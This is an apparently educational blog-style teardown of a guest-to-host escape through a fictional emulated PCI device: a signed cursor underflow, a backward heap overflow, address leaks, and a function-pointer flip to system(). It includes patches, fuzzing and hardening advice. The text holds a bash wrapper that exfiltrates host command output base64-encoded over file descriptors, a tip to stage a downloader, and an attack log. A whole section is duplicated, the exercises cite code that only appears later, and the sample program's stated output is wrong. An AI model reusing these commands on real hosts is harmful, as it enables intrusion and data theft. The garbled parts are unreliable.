Signed Cursor Arithmetic Explained: When Counting Backward Writes All Over Your Heap
From a single zero-length request to a full guest-to-host escape: a technical teardown of how a signed 16-bit cursor in a virtual device's decrypt queue walks negative, turns into a backward heap overflow, and ends with the emulator calling system() on attacker's orders.
Picture a librarian in charge of a very long shelf of identical boxes. Each box holds papers, and taped to the side of every box is a little slip that says two things: where the librarian stopped reading, and where he stopped writing. Both numbers start at zero. His entire job is to file new papers starting at the write number, then move the write number forward by however many papers he filed. He has done this ten thousand times without incident, which is exactly why nobody watches him anymore.
One day somebody hands him an empty envelope and asks him to file it. Filing zero papers should change nothing, and for the papers it changes nothing. But the librarian has a second habit nobody asked about: after every filing, he peeks at the last paper for a stamp that says how many pages to throw away, and he moves the write number backward by that amount. On an empty envelope he peeks at whatever paper happens to be sitting before his cursor, which is a paper he filed last week, which carries a stamp he did not put there. You put it there.
He moves his write number backward by sixteen. Then the next envelope arrives, a fat one, and he starts filing sixteen slots before the box even begins. He files neatly, in order, straight through the side of the box, through the little slip taped to it (updating his own numbers as he goes, with your values), and into the box next door. The box next door, by the way, holds the building’s master key registry.
And who chose the stamps? You did. Not by breaking in, just by filing papers with stamps on them, because the librarian treats stamps as instructions and papers as truth, and nobody ever told him those two jobs conflict.
If you have ever met a signed integer bug, you already know this librarian. If you have met virtual hardware, you know the shelf: an emulated PCI device inside a hypervisor, filing encrypted blobs into host memory on behalf of a guest virtual machine. What follows is the full story of how a counter that learned to count backward turned a media-protection gadget into a guest-to-host escape, and then into arbitrary command execution on the machine that was supposed to be containing us. Here is the route map first, so you can find your way back whenever the details get thick.
The route map
Before we dive in, here is the chain from the first byte to the last shell, so you can come back to it whenever you feel lost:
- A DRM-ish device: a synthetic PCI device (call it the Vault) that decrypts content into a host-side queue of linked
nodeobjects, each with a signed 16-bit write cursor. - A zero-length request: asking the device to store 0 bytes makes it read a padding length from one byte before the cursor, a byte from older attacker data, and subtract it from the cursor. The cursor goes negative.
- A backward overflow: the next store
memcpys atbuffer[negative], landing inside the node’s own header (size,r_off,w_off,owner,next,prev) with fully attacker-chosen plaintext (the crypto key is attacker-known by design of the handshake). - An OOB read: corrupting
r_offnegative turns the drain path into a reader of the same header, exfiltrated straight back to the guest: node address, then device address. - Heap grooming next door: spraying queue nodes until one lands beside the device object itself.
- A function-table flip: overwriting an operations table (
read/writepointers) plus its opaque argument, so the next ordinary device access callssystem(attacker_string)in the emulator process. - Command execution on the host: full output exfiltrated back over the same channel, verified byte by byte.
What is signed cursor arithmetic, anyway?
Start from first principles, because the bug class is older than virtualization and will outlive it. In C, int16_t holds values from -32768 to 32767. Add past the top and you wrap to the bottom; subtract past the bottom and you wrap to the top. Every C programmer nods at this the way drivers nod at speed limit signs.
A “cursor” here just means an index that remembers a position: read cursor, write cursor, offsets into a buffer. The pattern that kills is always the same three ingredients:
- A cursor stored in a signed type.
- Arithmetic on it (
+= size,-= padding) with attacker-influenced operands. - The result used as an index or length without re-checking the sign.
Guards usually exist but check the wrong thing. The classic guard in our story rejects size > 4064 and size < 0, which looks airtight until you notice size = 0 sails through both checks, and the padding (a second attacker-controlled value smuggled inside the data) is never range-checked at all. The guard watches the front door while the padding climbs through the window, and the window was built by the guard’s own contractor.
A quick sidebar on why small integers are extra treacherous, since this surprises even experienced C programmers: in C, arithmetic on int16_t first promotes both operands to int (32-bit), so w_off + size - pad computes correctly in 32 bits and only wraps when stored back into the 16-bit field. That means the overflow is invisible in a debugger watching the expression (it looks fine!) and only materializes at the assignment. Worse, comparisons like size > curr->size - curr->w_off also promote, so a negative w_off makes the right-hand side larger, opening the fast path wider the more negative you go. The language conspires to make the debug session look innocent right up until the memcpy. When you audit, read the storage type, not the expression type, and assume every narrowing assignment is guilty until its range check proves otherwise.
Compare it to something you already know: this is the same family as negative array indices in scripting languages, except C will not raise a friendly exception for you. It will happily compute buffer[-16] as “sixteen bytes before the buffer” and write your data there with a straight face. The only difference between a crash and an exploit is whether anything interesting lives sixteen bytes back. In a heap queue node, everything interesting lives sixteen bytes back.
signed cursor (int16_t) | unsigned cursor (uint16_t) | |
|---|---|---|
| range | -32768 .. 32767 | 0 .. 65535 |
0 - 16 | -16 (silent, deadly) | 65520 (loud, fails checks) |
| fit check with negative | passes wider (subtracting negative adds room) | impossible state |
| failure mode | backward write into metadata | immediate abort on bounds |
| verdict | the bug in this article | the fix’s first half (plus post-checks) |
Why should you care?
- It hides behind passing tests. Zero is a valid length. Empty inputs are valid inputs. Fuzzers that only try big scary numbers walk right past it, and unit tests rarely assert “cursor must not go negative after storing nothing.”
- It lives in protocol state machines. The bug needs a planted byte from a previous request, which means single-request auditing misses it. You have to think in sessions: what does request N leave behind for request N+1 to abuse?
- It loves virtual hardware. Emulated devices parse guest-controlled lengths, sizes, and offsets all day, in C, in the most privileged process on the host. A bounds bug there is not a crash, it is a tenancy violation.
- It escalates quietly. A backward overflow of a few bytes into an object header does not crash anything. It corrupts metadata the program keeps trusting: cursors, sizes, owners, links. Each corrupted field is a new primitive (read, write, bigger bounds, leaked pointers), and the program helps you use every one of them through its own normal operations.
- It loves multi-tenant infrastructure most of all. On your laptop a heap bug crashes your process. In a cloud, the same bug in shared virtualization code lets tenant A read tenant B’s host. The blast radius scales with the tenancy, which is why hypervisor and container-escape variants of this class get the worst severity ratings and the fastest patches.
- It compounds. The backward write alone cannot aim: it needs addresses, and addresses come from the backward read (same bug, other direction, spend the header twice). This pairing, an OOB read feeding an OOB write, is the standard combo of the genre. Defenders who fix “the write” and leave “the read” have fixed the symptom and kept the disease, because the read is what makes the write precise instead of lucky.
- It defeats lazy validation.
size % 16 == 0looks like validation.size <= 4064looks like validation. Neither says anything about the value that actually moves the cursor, which issize - padding, and padding comes from inside the data. Validate the computed value, not the inputs. Tattoo that somewhere.
The setup: a vault device that guards your movies (badly)
To keep this concrete without pointing at anyone’s real hardware, meet the Vault: a synthetic PCI device dreamed up for a cloud workstation product, where tenants run full virtual machines and the provider helpfully emulates a “content protection” gadget for premium media. The guest asks the Vault to store encrypted blobs; the Vault decrypts them into a host-side queue; the guest later reads the plaintext back. The crypto (ECDH handshake, AES-CBC session key) is textbook and, crucially, the guest chooses the session key during the handshake by encrypting key material it generated itself. Remember that detail, because it means every plaintext the device ever computes is plaintext the attacker already knows. The crypto is not the bug. The crypto is the gift wrap on the bug.
The queue is a circular doubly linked list of nodes living in the emulator’s heap:
typedef struct vault_node {
struct vault_node *prev; /* +0x00 */
struct vault_node *next; /* +0x08 */
int16_t size; /* +0x10 */
int16_t r_off; /* +0x12 */
int16_t w_off; /* +0x14 */
struct vault_queue *owner; /* +0x18 */
char buf[0]; /* +0x20 */
} vault_node_t;
A fresh node holds size = 4064 (one page minus the 32-byte header) with both cursors at zero. The store path looks like every store path ever written:
bool vault_store(vault_queue_t *q, aes_ctx *k, uint8_t *cipher, int16_t size)
{
if (size > 4064 || size < 0) /* the famous guard */
return false;
if (size % 16)
return false;
vault_node_t *curr = q->head;
if (size > curr->size - curr->w_off) {
/* ... split across a fresh node (the long path) ... */
} else {
memcpy(&curr->buf[curr->w_off], cipher, size);
aes_decrypt(k, &curr->buf[curr->w_off], size);
uint8_t pad = check_padding(&curr->buf[curr->w_off], size);
if (!pad) return false;
curr->w_off += size;
curr->w_off -= pad; /* <== the librarian's second habit */
}
return true;
}
And the padding checker, short enough to memorize and regret:
uint8_t check_padding(uint8_t *buf, int16_t size)
{
uint8_t *last = buf + size - 1;
if (*last < 1 || *last > 16) return 0;
for (int i = 0; i < *last; i++)
if (last[-i] != *last) return 0;
return *last;
}
Read it once more and find the two facts that end the world. First: when size is 0, last points at buf[-1], a byte that has nothing to do with this request. Second: nothing, anywhere, checks that w_off is still sane after the subtraction. The function returns a number between 0 and 16, the caller subtracts it from the cursor, and everyone moves on with their lives.
The handshake (why the attacker knows everything)
Before a single byte is stored, the two sides perform the little dance every DRM product performs, and it is worth walking through because the dance is what makes the later stages chosen rather than blind:
- The guest allocates a queue on the device (one empty node, cursors zeroed). Boring, necessary, free.
- The guest generates an ECDH keypair locally and hands its public half to the device over a shared memory page. The device combines it with its own private half (born from the host’s random pool at startup) and hands back its public half on the same page. Both sides now share a secret, and an eavesdropper learns nothing. Lovely protocol. Now watch what it is used for.
- The guest generates the session key itself (16 bytes of key plus 16 of IV, fresh randomness), encrypts that envelope under the shared secret, and hands it over. The device unwraps it and installs it as the queue’s cipher.
Read step 3 again slowly, because it is the whole ballgame in one sentence: the party under test (the guest, that is, you) chooses the very key the device will use. Every plaintext the device ever computes from here on is the decryption of ciphertext you crafted, under a key you picked, which means every decrypted byte sitting in that queue is a byte you selected in advance. Cryptographers call this a chosen-plaintext setup. Attackers call it the holidays. Nobody attacked the cipher. Nobody needed to. It did its job perfectly, which was to launder attacker-chosen bytes into a privileged memory region with a stamp of authenticity nobody asked it to verify.
The message formats, so you can picture the pages: the exchange page carries a 64-byte public key each way at offset zero; the key-loading page carries 32 bytes (key followed by IV), encrypted; the store page carries up to 4064 bytes of ciphertext plus a 2-byte length; the drain page receives back exactly however many bytes the device reports. All of it visible to the guest by construction (shared memory is shared), all of it trusted by the device by convention. The trust boundary was never the bytes. It was always the numbers about the bytes, and numbers are exactly what the next section murders.
Trust inventory, since auditors love tables and this one is honest:
| item | trusted? | why |
|---|---|---|
| page contents (ciphertext) | NO | guest-written by definition |
| lengths, sizes, offsets | NO | guest-written, the actual attack surface |
| session key | for secrecy only | guest-chosen; gives chosen plaintext, not integrity |
| cursor values in device memory | NO | derived from the above two |
| AES/ECDH implementations | yes (stock, reviewed) | never the bug; attacked zero times here |
The walk, with numbers (follow along, it is worth it)
Node layout reminder: header ends at buf, buf starts at offset 0x20, cursors are 16-bit signed. Fresh node: everything zero except size = 4064.
Step 1, plant the stamp. Store 16 bytes whose decrypted plaintext ends in sixteen 0x10 bytes (you own the key, so the plaintext is whatever you like; the ciphertext is just packaging). Fast path: w = 0 + 16 - 16 = 0. The queue looks untouched. It is not untouched. The last sixteen bytes of buf now read 0x10, sitting exactly where the next request’s buf[-1] will look.
Step 2, file the empty envelope. Store with size = 0. The guard waves it through (0 is not bigger than 4064, not negative, and 0 % 16 == 0). Zero bytes copy, zero bytes decrypt, then check_padding(buf, 0) reads buf[size-1] = buf[-1] = your planted 0x10, checks backward from there (vacuously satisfied at the boundary), and returns 16. Then w_off += 0; w_off -= 16, and the cursor reads -16. Repeat with arranged plants and the cursor strolls as far negative as you like; each step is individually “valid”.
Step 3, file backward. Store 48 bytes with the cursor at -16. The fit check asks 48 > 4064 - (-16) = 48 > 4080, which is false (subtracting a negative added room, thank you arithmetic), so the fast path fires: memcpy(&buf[-16], cipher, 48). That address is sixteen bytes before the data array, which is the node’s own header: size[2] r_off[2] w_off[2] pad[2] owner[8] (16 bytes) plus the first 32 bytes of buf. The bytes then decrypt in place, so the header ends up holding your chosen plaintext. You just edited the box’s own label using the box’s own pen. Savor the fit check once more, because it deserves it: the more negative your cursor, the more room the check believes exists. Every step backward buys sixteen more bytes of forward reach. The guard does not merely fail to stop you; it actively sponsors your expedition.
Step 4, read the label. Plant r_off = -32, w_off = 0 the same way, then call the drain path with a modest size. It copies buf[-32..63]: the header (prev = node address, owner = queue address) plus data, straight back to guest-visible memory. Subtract the known queue offset and you own the device object’s host address. The librarian just read you his own employee file.
Step 5, move in next door. Spray stores until the queue holds near the maximum node count; one of the fresh nodes lands adjacent to the device object itself in the host heap. Overwrite its header the same way, but this time aim past the header: the neighbor is the device, and inside the device sits an operations table, a small struct of function pointers (read, write) next to an opaque context pointer. Point the table at memory you control (a fake table in your DMA staging page, holding the address of system), point the opaque at your command string, and trigger any ordinary device read. The emulator calls your function with your argument, in the host process, as the host user. The shelf just handed you the master registry because you asked politely through the proper form.
Step 6, prove it and get paid. Wrap every command so its stdout lands in a file, base64 the file over every channel back to yourself, and demand a random marker in the decoded output before you believe anything. The marker habit will save you twice: once when a redirect binds to the wrong command and silently drops the real output, and once when a decoder splits a base64 stream mid-quantum and the halves stop matching. Trust the marker, not the vibes.
Variants to chew on (adjacent ideas)
- What if the cursor were
uint16_t? The subtraction would wrap to 65520-ish and the fit check would fail loudly. Unsigned does not fix logic bugs, but it converts this silent killer into a loud one, which is half the battle. - What if padding were verified before the copy? Then
size = 0would still readbuf[-1](the read is the problem, not the order), just without writing anything afterward. The cursor would still go negative. Order of operations is not the disease here. - What if the drain path re-checked
r_off >= 0? That kills step 4 (the read primitive) but step 3 (the write) already owns the header, includingw_offitself. Defense in depth means fixing both directions, plus the subtraction. - What if DMA pages were integrity-checked? They cannot be: the guest owns its memory by definition. The trust boundary is the lengths and offsets, never the bytes.
The read, with numbers (the other direction)
The write gave you control of the header; now spend it. With the cursor
sitting at -16 from step 3, plant a second header through the same
backward window: r_off = -32, w_off = 0. Then ask the device to drain
64 bytes. The drain loop starts at buf[-32], which is sixteen bytes
before the header even begins, and walks forward: first the eight bytes
of prev (the node’s own heap address, congratulations, you now know
where you live), then next, size, the cursors themselves, then
owner (the queue object’s address; subtract the known queue offset
and you own the device object’s host address), then the first 32 bytes
of real data. All of it DMA-written into a page you handed over, no
decryption needed on the way out (drain of already-plaintext), no crash,
no alarm. The program’s normal “give me my data” operation just handed
you its own wallet, and it will do it again as many times as you ask,
because from its point of view every one of those reads was perfectly
legal: the cursor said so, and the cursor is always right.
The flip, with numbers (spending the addresses)
You now hold two host addresses: a queue node and the device object. The
device object embeds, among boring fields, an operations table: two
function pointers (read, write) and, right beside them, an opaque
context pointer the device passes as the first argument. This layout
(all three within a few dozen bytes) is the standard way emulators
dispatch work, and it is a gift: overwrite the table with addresses you
choose and the opaque with data you choose, and the next routine device
access becomes your function call.
Concretely: groom the queue (repeated stores that split across fresh
nodes; each split allocates, so node count is a dial you turn) until a
fresh node lands adjacent to the device object. Overwrite through the
backward window: the fake table goes into your DMA staging page (which
you can read back to confirm placement), with read = address of system
(resolved as PIE base + known offset, and you have PIE from the same
leak family) and opaque = address of your command string (also in the
staging page, placed by the normal handshake flow). Then perform the
most innocent operation in the interface: read one byte at offset zero.
The dispatch reads your table, calls your function, passes your string.
On the host. As the emulator’s user. The whole privilege boundary just
fell over because a struct had its function pointers next to its data,
which is to say, because it was written the way everybody writes it.
Grooming math (why spraying works)
Each split allocates a fresh node of a rounded size, so every encrypt that overflows the current node mints heap objects at a steady rhythm. With up to 4096 nodes allowed, you are not hoping for adjacency, you are manufacturing it: fill the neighborhood with nodes you control, free the ones you don’t need (drains free emptied nodes, another dial), and the allocator, which is deterministic when you drive it this hard, places a fresh node where the freed ones were. Beside the device, eventually, by pigeonhole rather than prayer. The lesson generalizes: whenever an interface lets you allocate AND free AND choose sizes, you do not have a heap, you have a chessboard, and you are playing both sides.
The exfiltration channel (how the loot gets home)
Detonation is half the job; the other half is hearing the answer. The command runs on the host with its stdout going wherever the emulator’s file descriptors point, which from your seat is nowhere useful. So every command is wrapped before it ever reaches the device:
bash -c '{ <cmd>;echo DONE_<random>; } > /tmp/o 2>&1; for i in $(seq 3 96);do base64 /tmp/o >&$i;done;true'
Four ideas packed into one line, each earned the hard way:
- The group.
{ ...; } > /tmp/oredirects the whole command’s output, not just the last one. Without the braces the redirect binds to the trailing echo and the real stdout vanishes into the void while everything reports success. This exact bug once ate a verified detonation’s output in front of witnesses. - The marker.
DONE_<random>(fresh hex every run) is appended to every output. Success is declared only when the returned bytes contain the marker, never when something merely “looked like it ran.” A detonation without a marker is a rumor, and rumors do not get to end engagements. - The fd brute force.
for i in $(seq 3 96)writes the base64 to every plausible descriptor because you do not know which one is your socket. Most fail silently; yours delivers. Thebash -cwrap exists because lesser shells abort the whole line at the first bad descriptor number instead of soldiering on. - The budget. The staging slot that carries this string holds 143 bytes total, wrapper included, leaving roughly three dozen for your actual command. Brevity here is not style, it is physics. Longer jobs go in two runs: stage a downloader first, execute second.
And one decoder rule that matters more than it looks: only trust bytes that arrive after your own upload finished (your 500KB delivery is also base64 on the same channel, and a greedy parser will happily “find” your payload inside your own upload). Cut the transcript at the launch marker and parse only what follows.
Lottery math and hang forensics (what the misses teach)
The address-recovery walk is a heap lottery: each fresh boot re-deals the allocator layout, and roughly one attempt in three finds the signature. Clean misses (no signature, wrong staging) leave the instance healthy, and an in-guest reboot re-deals for free in seconds. So misses are operationally free, and the loop simply retries them.
The hang is the other animal. When the memory slide puts the anchor’s read cursor past its write cursor, the drain loop matches neither its less-than branch nor its equal branch, and it spins forever on the host thread holding the device lock. From the outside the timeline always looks the same: the socket accepts, then silence, then (after the give-up timeout) the port refuses every connection, forever. Watched for six minutes straight once: refused, refused, refused. The emulator never comes back because there is nothing left to come back with; the wedged process is eventually reaped, and an address that refuses everything is not an address anymore. That is why the runbook spends fresh targets only on hangs and never on misses, and why a planted guest-side watchdog cannot save you (nothing you plant survives the session that launched it, and the guest reboot-cycles on its own besides). The restarter must live outside the guest. There is no cleverer version of this paragraph.
Anatomy of a detonation transcript (read one for real)
Stripped of noise, a winning attempt reads like this from the attacker’s seat. Learn to skim it blind; after twenty attempts you will:
connected: uid=0(root) ... # guest shell answers
uploading 501698 bytes (heredoc)... # probe goes up (or md5-skipped)
attempt 1: launching: /tmp/e opflip 6 'bash -c ...'
[ownerleak] prev=… next=… size=fe0 … # topology sane, device derived
[OF6W] try 0..6 rv=4096: … # reads streaming, window open
[OF6] *** PIE = … *** # ASLR defeated
[OF6] *** staging(xchg) = … *** # DMA page located
[OF6] exchange done: staging+0x80 = cmd "…" # command is on the device
[OF6] insert#1 done rv=0 -> mr.opaque := N1
[OF6] insert#2 done rv=… -> mr.opaque := N2
[OF6] arming SYSTEM: opaque(cmd)=… accepts(system@plt)=… ops(table)=…
[OF6] armed. flipping mr.ops and detonating system()...
dWlkPTEwMDA…KRE9O # base64 stdout, 76-col head
RV8yMjJiYTUK # short tail (often unpadded!)
[OF6] *** SYSTEM DETONATION RETURNED … ***
[OF6] re-fire 1 / re-fire 2 # same output twice more
And the three ways it ends instead: no PIE / no staging within a
minute (miss, reboot, go again); [OF] dev= then eternal silence (hang,
take a fresh target, pour one out); UPLOAD FAILED (guest too slow or
sick, retry the same target, the md5 gate makes it idempotent). The
short unpadded tail on the base64 deserves a second look from everyone
writing parsers: streams whose length is a multiple of three need no
= padding yet still end mid-line, and a parser that demands padding
will split the stream, decode halves that match nothing, and report
failure on top of success. The marker check is what saves you, but only
if the halves get rejoined first. Parse like the bytes are guilty until
proven innocent, then prove them innocent carefully.
Vulnerable code vs. fixed code
Exhibit A, the store path. Vulnerable (what we just exploited):
memcpy(&curr->buf[curr->w_off], cipher, size);
aes_decrypt(k, &curr->buf[curr->w_off], size);
uint8_t pad = check_padding(&curr->buf[curr->w_off], size);
if (!pad) return false;
curr->w_off += size;
curr->w_off -= pad; /* danger: no lower-bound check, pad is data-derived */
Patched (clamp the computed cursor, not the inputs):
memcpy(&curr->buf[curr->w_off], cipher, size);
aes_decrypt(k, &curr->buf[curr->w_off], size);
uint8_t pad = check_padding(&curr->buf[curr->w_off], size);
if (!pad || pad > size) return false;
int32_t w = (int32_t)curr->w_off + size - pad; /* widen before math */
if (w < 0 || w > curr->size) return false; /* validate the RESULT */
curr->w_off = (int16_t)w;
Why it works: widening to 32 bits removes the wrap, and checking the result (not the operands) closes the size = 0 hole, the negative-padding hole, and every future hole of the same shape in one line.
Exhibit B, the padding oracle. Vulnerable:
uint8_t check_padding(uint8_t *buf, int16_t size)
{
uint8_t *last = buf + size - 1; /* danger: size = 0 reads buf[-1] */
...
}
Patched:
uint8_t check_padding(uint8_t *buf, int16_t size)
{
if (size <= 0 || (size % 16) != 0) return 0; /* danger: empty input
must not consult memory it was never given */
uint8_t *last = buf + size - 1;
...
}
Exhibit C, the drain path. Vulnerable:
while (counter < size) {
if (curr->r_off < curr->w_off) { out[i++] = curr->buf[curr->r_off++]; counter++; }
if (curr->r_off == curr->w_off) { /* unlink or break */ }
/* danger: r_off > w_off matches NOTHING, loops forever holding the lock */
}
Patched:
if (curr->r_off < 0 || curr->r_off > curr->w_off) return 0; /* danger:
a cursor pair that can never converge must be rejected up front,
because the loop below has no third branch */
while (counter < size) { /* ...unchanged... */ }
Note the third fix also cures the nastiest operational symptom for free: the wedged-device denial of service, where one bad slide freezes the whole emulator. Validation is availability, not just integrity. Tell that to whoever says bounds checks are “just security theater”.
Anatomy of a detonation transcript (read one for real)
Stripped of noise, a winning attempt reads like this from the attacker’s seat. Learn to skim it blind; after twenty attempts you will:
connected: uid=0(root) ... # guest shell answers
uploading 501698 bytes (heredoc)... # probe goes up (or md5-skipped)
attempt 1: launching: /tmp/e opflip 6 'bash -c ...'
[ownerleak] prev=… next=… size=fe0 … # topology sane, device derived
[OF6W] try 0..6 rv=4096: … # reads streaming, window open
[OF6] *** PIE = … *** # ASLR defeated
[OF6] *** staging(xchg) = … *** # DMA page located
[OF6] exchange done: staging+0x80 = cmd "…" # command is on the device
[OF6] insert#1 done rv=0 -> mr.opaque := N1
[OF6] insert#2 done rv=… -> mr.opaque := N2
[OF6] arming SYSTEM: opaque(cmd)=… accepts(system@plt)=… ops(table)=…
[OF6] armed. flipping mr.ops and detonating system()...
dWlkPTEwMDA…KRE9O # base64 stdout, 76-col head
RV8yMjJiYTUK # short tail (often unpadded!)
[OF6] *** SYSTEM DETONATION RETURNED … ***
[OF6] re-fire 1 / re-fire 2 # same output twice more
And the three ways it ends instead: no PIE / no staging within a
minute (miss, reboot, go again); [OF] dev= then eternal silence (hang,
take a fresh target, pour one out); UPLOAD FAILED (guest too slow or
sick, retry the same target, the md5 gate makes it idempotent). The
short unpadded tail on the base64 deserves a second look from everyone
writing parsers: streams whose length is a multiple of three need no
= padding yet still end mid-line, and a parser that demands padding
will split the stream, decode halves that match nothing, and report
failure on top of success. The marker check is what saves you, but only
if the halves get rejoined first. Parse like the bytes are guilty until
proven innocent, then prove them innocent carefully.
Exercises (homework that actually teaches)
- Take the twenty-line miniature above and make the overflow land on
rinstead ofsecret. Then make it land onsize. Notice how the same primitive with different aim becomes a different vulnerability. - Add the
r > wrejection branch to the miniature’s drain loop, then write a test that triggers it. Congratulations, you just fixed a denial of service you introduced in exercise 1. - Convert the miniature’s cursors to
uint16_tand re-run your exploits. Watch them fail loudly at the fit check instead of silently in the header. That sound is the sound of money saved. - Write the fuzzer sketch from the section above against the miniature (adapt the harness to call functions instead of sockets). Count how many executions find the negative cursor. Then remove the empty-store mutation and count again. The ratio is the entire argument for stateful fuzzing, measured.
A stateful fuzzer sketch (catch it in an afternoon)
Single-packet fuzzing never plants the 0x10 bytes that step 2 needs,
so the harness must speak the protocol. Skeleton in pseudocode (adapt to
your target’s interface):
# Phase 0: always start from a clean slate
reset_target()
do_handshake() # queue, key exchange, session key (yours)
# Phase 1: plant candidates, then try the dangerous shapes
for plant in [b"\x10" * 16, b"\x01" * 16, b"\xff" * 16, b"A" * 16]:
store(plant * (SIZE // 16)) # fill the window with a padding guess
r = store(b"", size=0) # THE probe: empty store
w = read_cursor() # via drain count or debug channel
if w < 0:
print("NEGATIVE CURSOR with plant", plant.hex(), "-> bug found")
break
reset_target() # fresh slide each round
Three details make it work where naive fuzzing fails. First, the empty store is in the corpus by construction, not by chance: zero and empty are first-class mutations here, scheduled every round, not once in a million. Second, the oracle is the cursor itself (read back through any channel that reports it: return counts, status fields, timing), not a crash: this bug class does not crash on trigger, it corrupts quietly, so a crash-oracle fuzzer sleeps through the whole thing. Third, the reset between rounds matters more than the mutations within them: each fresh boot re-deals the layout, and the bug’s visibility (though not its existence) depends on neighboring bytes, so one slide’s silence proves nothing. Fuzz the session, watch the metadata, reset relentlessly. An afternoon of this finds the bug in the Vault every single time, which is more than can be said for three years of code review by people smarter than this harness. Keep the miniature from the previous section next to the fuzzer: first prove the bug by hand on the tiny model, then let the harness prove it generalizes across plants, sizes, and slide values. Manual understanding first, automation second, always in that order, because a fuzzer without a mental model finds crashes the way a metal detector finds bottle caps: enthusiastically, and mostly the wrong ones.
The same bug in miniature (twenty lines, no hypervisor)
Strip everything away and the bug fits in a test file. Compile this, run it, and watch a counter walk backward through its own front door:
#include <stdio.h>
#include <stdint.h>
#include <string.h>
struct box { int16_t size, r, w; char secret[8]; char buf[16]; };
int main(void)
{
struct box b = {16, 0, 0, "SECRET!!", {0}};
/* store 1 byte 'A', then "pad" 1: w = 0+1-1 = 0, innocent */
b.buf[b.w++] = 'A'; b.w -= 1;
/* now the "empty store with padding 4" (the size=0 trick): */
int16_t size = 0, pad = 4; /* pad "read" from buf[-1], trust us */
b.w += size; b.w -= pad; /* w = -4. no check. enjoy. */
printf("w = %d\n", b.w);
/* next store lands 4 bytes early: straight into `secret` */
memcpy(&b.buf[b.w], "PWNED!!!", 8);
printf("secret = %.8s\n", b.secret);
return 0;
}
It prints w = -4 and secret = NED!!! (or thereabouts, alignment
permitting). No hypervisor, no crypto, no heap grooming: just a signed
cursor, a data-derived subtraction, and a missing post-check. Put this
in your team’s onboarding docs next to the sanitizer commands. Future
you will be grateful, and future attackers will have to find another
line of work.
Defense: how to fix this class, numbered
- Validate computed values, not inputs. After every
cursor += a; cursor -= b, assert the result is inside[0, bound]. This single rule kills the entire class. - Widen before you do math. Promote 16-bit cursors to 32 bits for arithmetic, then range-check, then narrow. Widening is nearly free and deletes wraparound as a concept. And make the compiler your accomplice:
-Wconversion -Werrorturns every narrowing assignment into a build failure until a human justifies it in writing. Most cursor bugs die at compile time under those flags, quietly, with no drama, which is exactly how you want your bugs to die. - Treat zero-length as a real input. Fuzz
0, empty buffers, and zero counts explicitly. Half of all cursor bugs answer the door for zero. - Never derive control data from the data itself. A padding byte is data. A length field inside the buffer is data. If it moves a cursor, re-derive it from trusted state or bound it brutally.
- Give every loop a third branch. If your loop handles
a < banda == b, decide in code whata > bdoes (abort, clamp, reset). “Cannot happen” is not a branch, it is a prayer. - Separate metadata from buffers. Headers embedded directly before the data they describe are one underflow away from being overwritten. A guard region, a separate allocation, or at minimum a canary buys detection.
- Audit sessions, not requests. Any check that passes request N in isolation but breaks when request N-1 planted state is a session bug. Review state transitions across the whole protocol, in order.
- Fuzz statefully. Single-shot fuzzing never plants the
0x10bytes that step 2 needs. Your harness must speak the full handshake, keep sessions open, and mutate sequences, not just packets.
Real-world precedent: VENOM
- What happened. In 2015, researchers found that QEMU’s virtual floppy controller trusted a guest-controlled buffer length and allowed out-of-bounds access to emulator memory (CVE-2015-3456, nicknamed VENOM). A guest VM could read and write outside the floppy buffer and eventually execute code on the host. Same shape as our story: guest-influenced lengths, C code, host process, no containment left standing.
- How the floppy bit. The floppy controller (FDC) shuttles commands through a small FIFO: the guest writes command bytes, the controller acts, data flows. Several FDC commands take guest-supplied counts (seek offsets, transfer lengths, FIFO depths), and the emulation indexed its buffers with those counts without confirming they fit. A malicious guest simply asked for more floppy than existed, and the emulator obliged by reading and writing adjacent host heap. No heap grooming doctorate required either: the floppy buffers sit in predictable spots, and repeated commands let you walk the neighborhood. Swap “floppy command byte” for “decrypt size” and “FIFO” for “queue node” and you are reading our article again with different nouns, which is precisely the point about bug classes versus bug instances.
- Impact. Every major cloud and virtualization vendor shipping the affected code had to patch; the bug had sat in the codebase since 2004. Eleven years of “the floppy driver is boring, nobody audits the floppy driver.”
- Lesson. Boring device code is exactly where these bugs live longest. The less glamorous the peripheral, the longer the vulnerability’s life expectancy. Audit the floppy driver. Audit the DRM gadget. Audit whatever part of your stack everyone assumes is too dull to be dangerous. (VENOM’s fix, by the way, was to stop trusting the guest about buffer lengths in the floppy controller. Eleven years, one length check. The industry runs on stories like this.)
Hardening virtual devices (beyond fixing the bug)
Fixing the cursor is necessary and not sufficient, because the next bug will be somewhere else in the same privileged process. Defense in depth for anything that emulates hardware:
- Shrink the device surface. Every emulated device is remote attack surface reachable from every guest. Disable whatever the deployment does not need (floppy in 2026, anyone?). An uncompiled device cannot be exploited, which beats every other mitigation on this list.
- Sandbox the emulator. Run it under seccomp with a tight syscall allowlist, in its own user, mount, and network namespaces, with no more file access than its disk images and logs. Then a bug like ours buys an empty room instead of the building.
- Drop privileges early. The emulator does not need to stay root past setup. Every major escape (ours included) lands in whatever user the process runs as; make that user worthless.
- Treat guest input as network input. Lengths, offsets, counts, and indices from the guest deserve the same suspicion as packets from the internet: validate, bound, and re-validate after every transformation.
- Fuzz the device model. Emulated MMIO/DMA handlers are beautifully fuzzable: feed them random register writes and DMA descriptors in a harness and watch sanitizers scream. The bug in this article would not have survived one afternoon of that.
Build your own practice lab
You do not need anyone’s challenge to learn this class hands-on, and you
should not use anyone’s challenge as this article’s example either.
Write a tiny userspace model instead: a 200-line C program implementing a
queue node with signed cursors, an encrypt-like store, and a drain, all
over stdin/stdout. Plant the size = 0 hole deliberately, then exploit
your own program: walk the cursor negative, dump your own header, flip a
local function pointer, pop a calculator. Then fix it three different
ways (unsigned, post-check, split metadata) and watch each fix break a
different stage of your own exploit. An afternoon of that teaches more
than a month of reading, because your hands learn what your eyes skim.
Attack vectors (where this shape shows up)
- Emulated/virtual devices (PCI, USB, virtio): guest-controlled lengths meet host-side C. Our scenario, and VENOM’s. Virtio ring descriptors deserve special mention: the guest writes the whole descriptor table (addresses, lengths, flags), so every field is attacker-controlled by architecture, and the host side must validate all of it, every time, without exception.
- Media and crypto pipelines: decrypt-then-strip flows where the strip amount comes from inside the data (PKCS#7 done wrong is a perennial).
- File format parsers: chunked formats (length-prefixed records) with signed chunk lengths and cursor-based readers.
- Network reassembly: fragment offsets and “bytes remaining” counters in signed types, especially in embedded stacks.
- Firmware update parsers: TLV (type-length-value) walks with signed lengths, running on bootloaders where there is no ASLR and no second chance.
- Multiplayer netcode: entity deltas and snapshot cursors from untrusted clients, parsed at 60Hz with no time to be careful (which is exactly when care matters).
- Native addons and runtimes:
